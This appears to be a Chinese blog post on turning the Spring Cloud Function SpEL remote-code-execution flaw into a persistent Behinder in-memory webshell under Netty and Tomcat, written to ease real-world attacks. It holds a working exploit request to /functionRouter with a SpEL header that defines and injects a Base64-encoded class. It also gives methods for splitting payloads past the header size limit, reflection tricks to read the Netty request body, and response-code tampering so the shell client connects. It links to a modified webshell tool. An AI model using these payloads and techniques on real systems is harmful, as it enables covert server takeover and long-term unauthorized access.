在Spring Cloud Function SpEL RCE细节公布后,分析的文章很多,这里不再对漏洞进行分析,一直以来的习惯就是对漏洞进行包装,Java中能RCE的漏洞尽量都注入冰蝎/哥斯拉/蚁剑内存马,而不是满足于简单的回显或一句话内存马,这样做的好处是大家在实战利用的过程中更加方便,提升效率。这篇文章记录了漏洞包装的过程中克服的一些难点——无session情况下的冰蝎连接及Netty下通过Header头获取POST的body内容。
文章可分为三部分:
1.漏洞复现
2.Spring Cloud Function在Netty下如何注入冰蝎内存马
3.Spring Cloud Function在Tomcat下如何注入冰蝎内存马
改版后的冰蝎已经上传至GitHub:
https://github.com/shuimuLiu/Behinder-Base65
影响版本
3 <= Version <= 3.2.2(commit dc5128b之前)
漏洞复现
漏洞环境:
https://github.com/spring-cloud/spring-cloud-function/releases/tag/v3.2.0
漏洞触发的URL:/functionRouter
Header头加数据:spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc”)
弹出计算器
Netty内存马适配
单命令回显内存马
这个漏洞适配内存马的不同点是payload在header头中触发的,照抄c0ny1师傅的payload如下:
{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
当直接把这个payload放入到header头的时候,由于header头过大导致报错
通过报错信息看到header的大小不能超过8192字节
通过和众多师傅交流,对变量名做出缩短(这是最简单的一种,但是我还没有实现4ra1n师傅的方法,从asm等角度缩小payload),Demo如下:
base64编码后的大小
发送注册netty handler的数据包
数据包如下:
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
spring.cloud.function.routing-expression: {T(org.springframework.cglib.core.ReflectUtils).defineClass('m',T(org.springframework.util.Base64Utils).decodeFromString('xxx'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
执行命令
冰蝎内存马
虽然function的netty一句话内存马已经有了,打起来还是冰蝎方便些,因为Header头不能过大,所以这里选择的方案是通过线程获取到post的body,然后对body中的class进行反射调用,通过Java-Object-Searcher工具这里找到了内存中存储body的信息位置-io.netty.handler.codec.http.DefaultLastHttpContent
实现的Demo如下:
在找到了存储body位置的信息之后,发现这里只能保存不超过8192字节的数据,那么这里想出的解决方案,是把将要在类中运行的字节码base64编码之后保存在三个类中,这个时候需要发送三次数据包,然后,最后一个数据包将前三个类中保存的base64字符串解码,注入到内存中
当然,这只是我的思路,实现起来还是要考虑程序具体的执行情况,主要是下面的三个问题
第一个问题
字符串发送到服务端后,服务端接收的字节大小是没有问题的,问题是无法读取字节信息,即DefaultLastHttpContent的readBytes方法出现了问题,随即debug跟进,实际上这里的readBytes是调用父类AbstractByteBuf的方法,接着跟进checkReadableBytes
跟进checkReadableBytes方法到AbstractByteBuf.checkReadableBytes0方法
这里调用ensureAccessible方法对是否可以读取字节内容进行了校验
跟进isAccessible方法
这里如果refCnt的值为1,那么会无法读取到字节
异常信息如下:
那么反射把它的值改为2,这样就不会返回异常信息,Demo如下:
第二个问题
在完成了第一校验之后,发现还是无法读取到字节信息,于是接着跟进,在修改了一次RefCnt的值之后checkReadableBytes方法通过了校验
那么问题应该是出在了getBytes方法这里
跟进checkIndex0方法,发现这个方法中没有出现异常
于是跟进this.unwrap().getBytes方法
终于在UnsafeByteBufUtil类的getBytes方法这里找到了校验方法(ensureAccessible)的调用
现在需要确定的点就是RefCnt在第二次校验的时候值是多少,发现其值为1
那么还是解决第一个问题的方法,修改refCnt的值,这里需要注意的第二次refCnt所属的对象类为PooledUnsafeDirectByteBuf,第一次refCnt所属的对象类为PooledSlicedByteBuf,而第二次refCnt所属的对象存储在第一次refCnt所属的对象类的rootParent变量中
所以此时的思路就是先获取到rootParent变量所存储的对象,然后修改refCnt的值,修改之后就可以读取到字节信息了,整体实现的Demo如下:
冰蝎马的实现Demo如下:
实现存储内存马的分段类Demo如下:
整合冰蝎马内存信息的类Demo如下:
第三个问题
冰蝎连接时候不成功,执行单命令回显却成功?
在使用上述方法注入冰蝎马之后并不成功,注入单命令回显的内存马却成功
经过对比发现
是Content-Type的原因,如果使用application/x-www-form-urlencoded方式,冰蝎马是可以连接的
Tomcat下Spring内存马的注入
Netty在国内使用是否普遍不确定,但是在Tomcat下Spring是真的多
request如何获取body中的内容
gateway的不用多说,对于function的内存马,主要是header头大小问题,思路是通过header头中的代码获取body,经过和众多师傅交流,发现如果是在Tomcat下起的Spring环境(这也是国内的现状),那么可以通过T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getRequest().getParameter(“a”)可以获取到POST body中的a参数内容
冰蝎内存马
对于内存马的注入这里我们可以考虑注入spring的Interceptor内存马,因为之前LandGrey师傅已经提出过Demo这里直接使用就好了
首先是Interceptor的Demo,源代码如下:
注入Interceptor的代码如下:
在实际利用该内存马的时候发现,冰蝎客户端如果收到的状态码是404的话,就不会接收解密,为了不改动客户端,直接在注入内存马的时候将服务端每次response的响应码改为200
function发送数据包
冰蝎连接:
参考文章
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
https://landgrey.me/blog/19/
https://mp.weixin.qq.com/s/U7YJ3FttuWSOgCodVSqemg
https://xz.aliyun.com/t/10824#toc-4